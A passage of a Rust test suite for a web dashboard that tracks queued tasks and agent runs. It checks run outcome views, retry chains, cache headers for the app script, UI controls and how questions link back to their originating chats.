23217 let runs = fx.runs();
23218 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23219 write_run(&runs, old, RunStatus::Stalled);
23220 write_run(&runs, new, RunStatus::Blocked);
23221 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23222 fx.queue().put(&mut t).expect("put");
23223
23224 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23225 assert_eq!(task["status"], "held");
23226 assert_eq!(task["is_latest"], true);
23227 assert!(task["latest"].is_null());
23228 assert!(task["finished_by"].is_null());
23229 assert_eq!(task["closed_by_hand"], false);
23230 }
23231
23232 #[tokio::test]
23233 async fn a_direct_run_has_no_task_outcome() {
23234 let fx = Fixture::start().await;
23235 let runs = fx.runs();
23236 let id = "20260901-000000-aaaa";
23237 write_run(&runs, id, RunStatus::Blocked);
23238 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23239 assert!(view["task"].is_null());
23240 }
23241
23242 #[test]
23243 fn task_outcome_does_not_guess_a_finishing_run() {
23244 let a = "20260901-000000-aaaa";
23245 let b = "20260901-000000-bbbb";
23246 let c = "20260901-000000-cccc";
23247 let dir = tempfile::tempdir().expect("tempdir");
23248 write_run(dir.path(), a, RunStatus::Blocked);
23249 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23250 let read = |id: &str| read_run(dir.path(), id).ok();
23252 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23255 let out = task_outcome(&t, a, 3, read);
23256 assert!(out.finished_by.is_none());
23257 assert!(out.closed_by_hand);
23258 let latest = out.latest.expect("latest");
23259 assert_eq!(latest.id, c);
23260 assert_eq!(latest.status, None);
23261 assert_eq!(latest.outcome, "record unreadable");
23262
23263 write_run(dir.path(), c, RunStatus::Ready);
23265 let t = outcome_task(&[a, c], TaskStatus::Done);
23266 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23267 assert_eq!(out.finished_by.expect("finisher").id, c);
23268 assert!(!out.closed_by_hand);
23269
23270 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23272 assert!(task_outcome(&t, a, 3, read).is_latest);
23273 }
23274
23275 #[tokio::test]
23276 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23277 let fx = Fixture::start().await;
23282 let q = fx.queue();
23283 let runs = fx.runs();
23284 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23285 write_run(&runs, first, RunStatus::Blocked);
23286 write_run(&runs, second, RunStatus::Merged);
23287
23288 let mut t = Task::new(
23289 "one task".to_owned(),
23290 "do it".to_owned(),
23291 PathBuf::from("/repo"),
23292 Source::Human,
23293 );
23294 t.runs = vec![first.to_owned(), second.to_owned()];
23295 q.put(&mut t).expect("put");
23296
23297 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23298 assert_eq!(earlier["superseded_by"], "dddd");
23299 assert_eq!(earlier["latest_attempt"]["id"], second);
23300 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23301 assert_eq!(
23302 earlier["latest_attempt"]["resolved"], true,
23303 "the run that replaced it landed, so this one reads as settled"
23304 );
23305
23306 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23307 assert!(
23308 later["superseded_by"].is_null(),
23309 "the latest attempt is not superseded by anything"
23310 );
23311 assert!(
23312 later["latest_attempt"].is_null(),
23313 "the latest attempt has no later attempt of its own"
23314 );
23315
23316 assert!(APP_JS.contains("run.latest_attempt"));
23323 assert!(APP_JS.contains("data-superseded"));
23324 assert!(APP_JS.contains("#/runs/${latest.id}"));
23325 }
23326
23327 #[tokio::test]
23328 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23329 let fx = Fixture::start().await;
23335 let q = fx.queue();
23336 let runs = fx.runs();
23337 let (a, b, c) = (
23338 "20260901-000000-aaaa",
23339 "20260901-000000-bbbb",
23340 "20260901-000000-cccc",
23341 );
23342 write_run(&runs, a, RunStatus::Blocked);
23343 write_run(&runs, b, RunStatus::Blocked);
23344 write_run(&runs, c, RunStatus::Merged);
23345
23346 let mut t = Task::new(
23347 "retried twice".to_owned(),
23348 "do it".to_owned(),
23349 PathBuf::from("/repo"),
23350 Source::Human,
23351 );
23352 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23353 q.put(&mut t).expect("put");
23354
23355 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23356 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23357 assert_eq!(
23358 view["latest_attempt"]["id"], c,
23359 "the chain's current head, not the intermediate Blocked retry"
23360 );
23361 assert_eq!(view["latest_attempt"]["resolved"], true);
23362
23363 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23364 assert_eq!(mid["latest_attempt"]["id"], c);
23365 assert_eq!(mid["latest_attempt"]["resolved"], true);
23366 }
23367
23368 #[tokio::test]
23369 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23370 let fx = Fixture::start().await;
23371 let q = fx.queue();
23372 let runs = fx.runs();
23373
23374 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23377 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23378 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23379 let mut t1 = Task::new(
23380 "still stuck".to_owned(),
23381 "do it".to_owned(),
23382 PathBuf::from("/repo"),
23383 Source::Human,
23384 );
23385 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23386 q.put(&mut t1).expect("put");
23387 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23388 assert_eq!(view1["latest_attempt"]["resolved"], false);
23389 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23390 assert_eq!(view1["latest_attempt"]["done"], true);
23391
23392 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23394 write_run(&runs, run_a, RunStatus::Blocked);
23395 write_run(&runs, run_b, RunStatus::Implementing);
23396 let mut t3 = Task::new(
23397 "retrying".to_owned(),
23398 "do it".to_owned(),
23399 PathBuf::from("/repo"),
23400 Source::Human,
23401 );
23402 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23403 q.put(&mut t3).expect("put");
23404 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23405 assert_eq!(view3["latest_attempt"]["id"], run_b);
23406 assert_eq!(view3["latest_attempt"]["resolved"], false);
23407 assert_eq!(view3["latest_attempt"]["done"], false);
23408
23409 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23414 write_run(&runs, noop_a, RunStatus::Blocked);
23415 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23416 let mut t2 = Task::new(
23417 "claims done".to_owned(),
23418 "do it".to_owned(),
23419 PathBuf::from("/repo"),
23420 Source::Human,
23421 );
23422 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23423 q.put(&mut t2).expect("put");
23424 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23425 assert_eq!(
23426 view2["latest_attempt"]["resolved"], false,
23427 "an unverified no-op claim must not read as a confirmed finish"
23428 );
23429
23430 assert!(APP_JS.contains("latest.resolved"));
23433 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23436 assert!(APP_JS.contains("Latest attempt: "));
23437 assert!(APP_JS.contains("in flight"));
23438 assert!(APP_JS.contains("not resolved"));
23439 }
23440
23441 #[tokio::test]
23442 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23443 let fx = Fixture::start().await;
23444 let js = fx.get("/app.js").await;
23450 assert_eq!(js.status, 200);
23451 let tag = js
23452 .header("etag")
23453 .expect("an etag to revalidate against")
23454 .to_owned();
23455 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23456 assert_eq!(
23457 js.header("cache-control"),
23458 Some("no-cache, must-revalidate"),
23459 "the phone has to ask every time"
23460 );
23461
23462 let again = fx
23465 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23466 .await;
23467 assert_eq!(
23468 again.status, 304,
23469 "a deck it already has costs one round trip"
23470 );
23471 assert!(again.body.is_empty(), "304 carries no body");
23472
23473 let weak = fx
23476 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23477 .await;
23478 assert_eq!(weak.status, 304);
23479 let stale = fx
23480 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23481 .await;
23482 assert_eq!(stale.status, 200, "an older build must be replaced");
23483 assert!(stale.body.contains("renderRunActions"));
23484 }
23485
23486 #[test]
23487 fn the_task_detail_has_an_actions_fab_and_sheet() {
23488 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23489 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23490 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23491 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23493 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23494 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23496 assert!(APP_JS.contains("renderTaskActions(null);"));
23497 let sheet = APP_JS
23499 .find("function renderTaskActions")
23500 .expect("sheet renderer");
23501 let body = &APP_JS[sheet..sheet + 3000];
23502 assert!(body.contains("changePriority("));
23503 assert!(body.contains("openTaskEdit(task)"));
23504 assert!(body.contains("renderTaskHoldBox(host"));
23505 assert!(body.contains("renderTaskDoneBox(host"));
23506 assert!(body.contains("renderTaskDeleteBox(host"));
23507 assert!(APP_JS.contains("API.priority(id)"));
23508 assert!(APP_JS.contains("API.deleteTask(id)"));
23509 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23511 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23513 }
23514
23515 #[test]
23516 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23517 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23518 let actions = INDEX_HTML
23519 .find("id=\"run-actions-box\"")
23520 .expect("actions box");
23521 assert!(task < actions, "the task entry comes first in the sheet");
23522 assert!(APP_JS.contains("renderRunTaskEntry"));
23523 assert!(APP_JS.contains("\"Open task \""));
23524 assert!(APP_JS.contains("started directly, no task"));
23526 assert!(APP_JS.contains("sheet-task-link"));
23527 assert!(APP_JS.contains("task-chip-link"));
23528 }
23529
23530 #[test]
23531 fn the_deck_never_sends_the_operator_to_a_terminal() {
23532 assert!(
23535 !APP_JS.contains("Run `magi fold` first"),
23536 "the deck must offer the fold, not prescribe a shell command"
23537 );
23538 assert!(APP_JS.contains("foldRun:"));
23539 assert!(APP_JS.contains("resumeRun:"));
23540 assert!(APP_JS.contains("renderRunActions"));
23541
23542 assert!(APP_JS.contains("armedFold"));
23544 assert!(APP_JS.contains("Yes, fold worktrees"));
23545
23546 assert!(APP_JS.contains("can no longer be resumed"));
23549 }
23550
23551 #[test]
23552 fn a_finished_run_explains_itself_with_its_own_last_line() {
23553 assert!(
23559 !APP_JS.contains("collapsed on agent quota"),
23560 "a stall must not be explained by a cause the deck did not check"
23561 );
23562 assert!(
23563 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23564 "and a block must not offer a guess with an `or` in it"
23565 );
23566
23567 assert!(
23571 APP_JS.contains("setText(r.event, run.event || \"\")"),
23572 "the run's last line is rendered unconditionally"
23573 );
23574 assert!(
23575 !APP_JS.contains("moving && run.event"),
23576 "and never gated on the run still moving"
23577 );
23578
23579 assert!(APP_JS.contains("lost to quota"));
23581 }
23582
23583 #[test]
23605 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23606 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23607 let shapes_body_start =
23608 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23609 let shapes_close = APP_JS[shapes_body_start..]
23610 .find("].map(")
23611 .expect("the shape list is closed by its done-computing .map(...)")
23612 + shapes_body_start;
23613 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23614
23615 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23616 for entry in shapes_src.split('{').skip(1) {
23617 let waiting = entry.contains("waiting: true");
23618 let dead = entry.contains("live: \"dead\"");
23619 let status_at =
23620 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23621 let status_end = entry[status_at..]
23622 .find('"')
23623 .expect("the status string is closed")
23624 + status_at;
23625 let parked = entry.contains("display_status: \"parked\"");
23626 shapes.push((
23627 waiting,
23628 entry[status_at..status_end].to_string(),
23629 dead,
23630 parked,
23631 ));
23632 }
23633 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23634
23635 let done_rule_marker = "done: !";
23639 let done_rule_at = APP_JS[shapes_close..]
23640 .find(done_rule_marker)
23641 .expect("the done rule follows the shape list")
23642 + shapes_close
23643 + done_rule_marker.len();
23644 let includes_at = APP_JS[done_rule_at..]
23645 .find(".includes(shape.status)")
23646 .expect("the done rule ends in .includes(shape.status)")
23647 + done_rule_at;
23648 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23649 .trim()
23650 .trim_start_matches('[')
23651 .trim_end_matches(']')
23652 .split(',')
23653 .map(|s| s.trim().trim_matches('"'))
23654 .filter(|s| !s.is_empty())
23655 .collect();
23656
23657 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23658 .into_iter()
23659 .map(|(waiting, status, dead, parked)| {
23660 let done = !not_done.contains(&status.as_str());
23661 (waiting, status, dead, parked, done)
23662 })
23663 .collect();
23664
23665 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23669 if waiting {
23670 return "waiting";
23671 }
23672 if dead
23673 && !parked
23674 && !matches!(
23675 status,
23676 "merged"
23677 | "ready"
23678 | "stalled"
23679 | "blocked"
23680 | "failed"
23681 | "verified_noop"
23682 | "superseded"
23683 | "already_in_base"
23684 )
23685 {
23686 return "stale";
23687 }
23688 match status {
23689 "merged" | "ready" => "landed",
23690 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23691 | "already_in_base" => "ended",
23692 _ => "flight",
23693 }
23694 }
23695
23696 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23699 match filter_key {
23700 "active" => !done,
23701 "flight" => !done && !waiting && !dead,
23702 "stale" => !done && !waiting && dead,
23703 "waiting" => waiting,
23704 "done" => done,
23705 "all" => true,
23706 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23707 }
23708 }
23709
23710 let compatible = |section: &str, filter_key: &str| {
23711 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23712 run_section(*waiting, status, *dead, *parked) == section
23713 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23714 })
23715 };
23716
23717 let expected = [
23722 ("waiting", [true, false, false, true, true, true]),
23723 ("stale", [true, false, true, false, false, true]),
23724 ("flight", [true, true, false, false, false, true]),
23725 ("landed", [false, false, false, false, true, true]),
23726 ("ended", [false, false, false, false, true, true]),
23727 ];
23728 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23729
23730 for (section, wants) in expected {
23731 for (filter_key, want) in filter_keys.iter().zip(wants) {
23732 assert_eq!(
23733 compatible(section, filter_key),
23734 want,
23735 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23736 );
23737 }
23738 }
23739
23740 assert!(
23743 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23744 );
23745 assert!(APP_JS.contains(
23746 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23747 ));
23748 assert!(APP_JS.contains(
23749 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23750 ));
23751 }
23752
23753 #[tokio::test]
23754 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23755 let dir = tempfile::tempdir().expect("tempdir");
23759 let explicit = dir.path().join("not-a-checkout");
23760 std::fs::create_dir_all(&explicit).expect("create dir");
23761 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23762
23763 let missing = dir.path().join("does-not-exist-at-all");
23764 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23765 }
23766
23767 #[test]
23768 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23769 assert!(APP_JS.contains("function statsDonutArcs"));
23770 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23771 assert!(APP_JS.contains("function statusInBucket"));
23773 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23774 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23775 let buckets = [
23776 "merged",
23777 "ready",
23778 "in_progress",
23779 "blocked",
23780 "failed",
23781 "verified_noop",
23782 "superseded",
23783 "stalled",
23784 ];
23785 for key in buckets {
23786 let var = format!("--verdict-{key}:");
23787 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23789 assert!(
23790 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23791 "{key}"
23792 );
23793 }
23794 }
23795
23796 #[tokio::test]
23797 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23798 let dir = tempfile::tempdir().expect("tempdir");
23799 let queue = Queue::at(dir.path().join("queue"));
23800 let talks = Talks::at(dir.path().join("talks"));
23801 std::fs::create_dir_all(queue.root()).unwrap();
23802 std::fs::create_dir_all(talks.root()).unwrap();
23803
23804 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23806 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23807
23808 let mut task = Task::new(
23810 "title".into(),
23811 "inst".into(),
23812 PathBuf::from("/repo"),
23813 Source::Human,
23814 );
23815 task.id = "20261019-123456-abcd".into();
23816 std::fs::write(
23818 queue.path_of(&task.id),
23819 serde_json::to_string(&task).unwrap(),
23820 )
23821 .unwrap();
23822
23823 let talk_id = "20261019-234567-cdef";
23824 seed_talk_at(&talks, talk_id, "open");
23825
23826 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23828 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23829
23830 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23832 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23833 }
23834
23835 #[tokio::test]
23836 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23837 let home = tempfile::tempdir().unwrap();
23838 let ui = delta_test_ui(home.path());
23839 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23841 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23842 assert!(
23843 questions_list(State(ui.clone()))
23844 .await
23845 .unwrap()
23846 .0
23847 .is_empty()
23848 );
23849 assert!(
23850 question_origins(State(ui.clone()))
23851 .await
23852 .unwrap()
23853 .0
23854 .is_empty()
23855 );
23856 let mut question = Question::new(
23857 "run-history".into(),
23858 "review".into(),
23859 "seat".into(),
23860 "Useful question".into(),
23861 "Useful detail".into(),
23862 vec![],
23863 );
23864 ui.questions.put(&mut question).unwrap();
23865 let core = questions_core(State(ui.clone())).await.unwrap().0;
23866 assert_eq!(core.len(), 1);
23867 assert_eq!(core[0].question.summary, "Useful question");
23868 assert!(!core[0].can_consult_chat);
23869 assert!(core[0].origin_chat.is_none());
23870 assert_eq!(core[0].record_revision, question_record_revision(&question));
23871 assert!(question_origins(State(ui.clone())).await.is_err());
23872 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23873 }
23874
23875 #[tokio::test]
23876 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23877 let home = tempfile::tempdir().unwrap();
23878 let ui = delta_test_ui(home.path());
23879 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23880 let mut parent = Task::new(
23881 "parent".into(),
23882 "body".into(),
23883 PathBuf::from("/repo"),
23884 Source::Agent {
23885 run: chat.clone(),
23886 node: crate::queue::CHAT_NODE.into(),
23887 },
23888 );
23889 parent.id = "parent-task".into();
23890 parent.runs = vec!["parent-run".into()];
23891 ui.queue.put(&mut parent).unwrap();
23892 let mut previous = parent;
23893 for generation in 1..=2 {
23894 let mut child = Task::new(
23895 "child".into(),
23896 "body".into(),
23897 PathBuf::from("/repo"),
23898 Source::Human,
23899 );
23900 child.id = format!("child-task-{generation}");
23901 child.runs = vec![format!("child-run-{generation}")];
23902 child.followup = Some(crate::queue::FollowUp {
23903 origin_task: Some(previous.id.clone()),
23904 run: previous.runs[0].clone(),
23905 pr: String::new(),
23906 findings: vec![],
23907 generation,
23908 });
23909 ui.queue.put(&mut child).unwrap();
23910 previous = child;
23911 }
23912 let mut collision = Task::new(
23915 "collision".into(),
23916 String::new(),
23917 PathBuf::from("/repo"),
23918 Source::Human,
23919 );
23920 collision.id = "collision-task".into();
23921 collision.runs = vec![previous.id.clone()];
23922 ui.queue.put(&mut collision).unwrap();
23923 let mut questions = Vec::new();
23924 for (node, reference, expected, eligible) in [
23925 (crate::triage::NODE, previous.id.as_str(), true, false),
23926 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23927 ("review", previous.runs[0].as_str(), true, true),
23928 (
23929 crate::bump::NOTICE_NODE,
23930 previous.runs[0].as_str(),
23931 true,
23932 false,
23933 ),
23934 ("review", previous.id.as_str(), false, false),
23936 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23937 ("review", "unrelated", false, false),
23938 ] {
23939 let mut q = Question::new(
23940 reference.into(),
23941 node.into(),
23942 "seat".into(),
23943 "Question".into(),
23944 String::new(),
23945 vec![],
23946 );
23947 ui.questions.put(&mut q).unwrap();
23948 questions.push((q, expected, eligible));
23949 }
23950 for (node, reference, associated, eligible) in [
23951 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23952 (
23953 crate::reconcile::NODE,
23954 previous.runs[0].as_str(),
23955 false,
23956 true,
23957 ),
23958 ("implement", previous.id.as_str(), false, false),
23959 ] {
23960 let mut q = Question::new(
23961 reference.into(),
23962 node.into(),
23963 crate::reconcile::SEAT.into(),
23964 "Reconcile".into(),
23965 String::new(),
23966 vec![],
23967 );
23968 ui.questions.put(&mut q).unwrap();
23969 questions.push((q, associated, eligible));
23970 }
23971 let mut release = Question::new(
23972 "release-record".into(),
23973 crate::bump::NOTICE_NODE.into(),
23974 "release-watch".into(),
23975 "Release".into(),
23976 String::new(),
23977 vec![],
23978 );
23979 ui.questions.put(&mut release).unwrap();
23980 let watch = crate::release_watch::WatchState {
23981 question: Some(release.id.clone()),
23982 run: Some(previous.runs[0].clone()),
23983 held_task: Some(previous.id.clone()),
23984 ..Default::default()
23985 };
23986 let watch_dir = home.path().join("release-watch");
23987 std::fs::create_dir_all(&watch_dir).unwrap();
23988 let watch_path = watch_dir.join("watch.json");
23989 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23990 for batch in [
23992 Vec::new(),
23993 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23994 ] {
23995 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23996 assert!(watches.is_empty());
23997 }
23998 questions.push((release.clone(), true, false));
23999
24000 let views = questions_list(State(ui.clone())).await.unwrap().0;
24001 let origins = question_origins(State(ui.clone())).await.unwrap().0;
24002 for (q, associated, eligible) in &questions {
24003 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24004 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24005 let expected = associated.then_some(chat.as_str());
24006 assert_eq!(
24007 view.origin_chat.as_deref(),
24008 expected,
24009 "{} {}",
24010 q.node,
24011 q.run
24012 );
24013 assert_eq!(origin.origin_chat.as_deref(), expected);
24014 assert_eq!(view.origin_chat_closed, *associated);
24015 assert_eq!(origin.origin_chat_closed, *associated);
24016 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24017 assert_eq!(origin.can_consult_chat, *eligible);
24018 }
24019 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24021 let link = crate::release_watch::WatchState {
24022 run,
24023 held_task,
24024 ..watch.clone()
24025 };
24026 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24027 let (tasks, talks, watches) =
24028 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24029 assert_eq!(
24030 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24031 .unwrap()
24032 .id,
24033 chat,
24034 );
24035 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24036 }
24037 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24038 let duplicate_path = watch_dir.join("duplicate.json");
24040 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24041 let (tasks, talks, watches) =
24042 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24043 assert!(
24044 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24045 .is_none()
24046 );
24047 std::fs::remove_file(duplicate_path).unwrap();
24048 let mut unrelated = Task::new(
24050 "other".into(),
24051 String::new(),
24052 PathBuf::from("/repo"),
24053 Source::Human,
24054 );
24055 unrelated.id = "unrelated-task".into();
24056 ui.queue.put(&mut unrelated).unwrap();
24057 let mut conflicting = watch.clone();
24058 conflicting.held_task = Some(unrelated.id);
24059 std::fs::write(
24060 watch_dir.join("conflict.json"),
24061 serde_json::to_vec(&conflicting).unwrap(),
24062 )
24063 .unwrap();
24064 let (tasks, talks, watches) =
24065 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24066 assert!(
24067 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24068 .is_none()
24069 );
24070 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24071 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24072 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24073 assert!(origin.origin_chat.is_none());
24074 assert!(!origin.origin_chat_closed);
24075 }
24076 }
24077
24078 #[test]
24079 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24080 let home = tempfile::tempdir().unwrap();
24081 let ui = delta_test_ui(home.path());
24082 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24083 for i in 0..1000 {
24084 let mut task = Task::new(
24085 "unrelated".into(),
24086 "instruction ".repeat(256),
24087 PathBuf::from("/repo"),
24088 Source::Human,
24089 );
24090 task.id = format!("history-{i:04}");
24091 ui.queue.put(&mut task).unwrap();
24092 let id = seed_talk_at(&ui.talks, &task.id, "open");
24093 let mut talk = ui.talks.get(&id).unwrap();
24094 talk.pending = "history ".repeat(256);
24095 ui.talks.put(&mut talk).unwrap();
24096 }
24097 let mut parent = Task::new(
24098 "parent".into(),
24099 "body".into(),
24100 PathBuf::from("/repo"),
24101 Source::Agent {
24102 run: chat_id.clone(),
24103 node: crate::queue::CHAT_NODE.into(),
24104 },
24105 );
24106 parent.id = "task-parent".into();
24107 parent.runs = vec!["run-parent".into()];
24108 ui.queue.put(&mut parent).unwrap();
24109 let mut child = Task::new(
24110 "child".into(),
24111 "body".into(),
24112 PathBuf::from("/repo"),
24113 Source::Human,
24114 );
24115 child.id = "task-child".into();
24116 child.runs = vec!["run-child".into()];
24117 child.followup = Some(crate::queue::FollowUp {
24118 run: "run-parent".into(),
24119 origin_task: Some(parent.id.clone()),
24120 pr: "https://example.invalid/pr/1".into(),
24121 findings: vec![],
24122 generation: 1,
24123 });
24124 ui.queue.put(&mut child).unwrap();
24125 let mut question = Question::new(
24126 child.id.clone(),
24127 crate::conduct::NODE.into(),
24128 "seat".into(),
24129 "Continue?".into(),
24130 String::new(),
24131 vec![],
24132 );
24133 let (tasks, talks, _watches) =
24134 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24135 assert_eq!(tasks.len(), 2);
24136 assert_eq!(talks.len(), 1);
24137 assert_eq!(
24138 ui.monitor.queue_index.lock().unwrap().reparsed,
24139 0,
24140 "exact ancestry bypasses the index"
24141 );
24142 assert_eq!(
24143 crate::consult::origin_talk(&tasks, &talks, &question)
24144 .unwrap()
24145 .id,
24146 chat_id
24147 );
24148 question.run = "run-child".into();
24149 question.node = "review".into();
24150 for origin_task in [Some(parent.id.clone()), None] {
24151 child.followup.as_mut().unwrap().origin_task = origin_task;
24152 ui.queue.put(&mut child).unwrap();
24153 let (tasks, talks, _watches) =
24154 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24155 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24156 let expected =
24157 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24158 .unwrap();
24159 assert_eq!(actual.id, expected.id);
24160 assert!(!actual.status.open());
24161 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24162 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24163 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24166 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24167 }
24168 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24169 ui.queue.put(&mut child).unwrap();
24170 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24171 let (tasks, talks, _watches) =
24172 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24173 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24174 child.origin_chat = Some(chat_id.clone());
24175 ui.queue.put(&mut child).unwrap();
24176 let (tasks, talks, _watches) =
24177 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24178 assert_eq!(
24179 crate::consult::origin_talk(&tasks, &talks, &question)
24180 .unwrap()
24181 .id,
24182 chat_id
24183 );
24184 let revision = question_record_revision(&question);
24185 question.abandon("settled elsewhere");
24186 assert_ne!(revision, question_record_revision(&question));
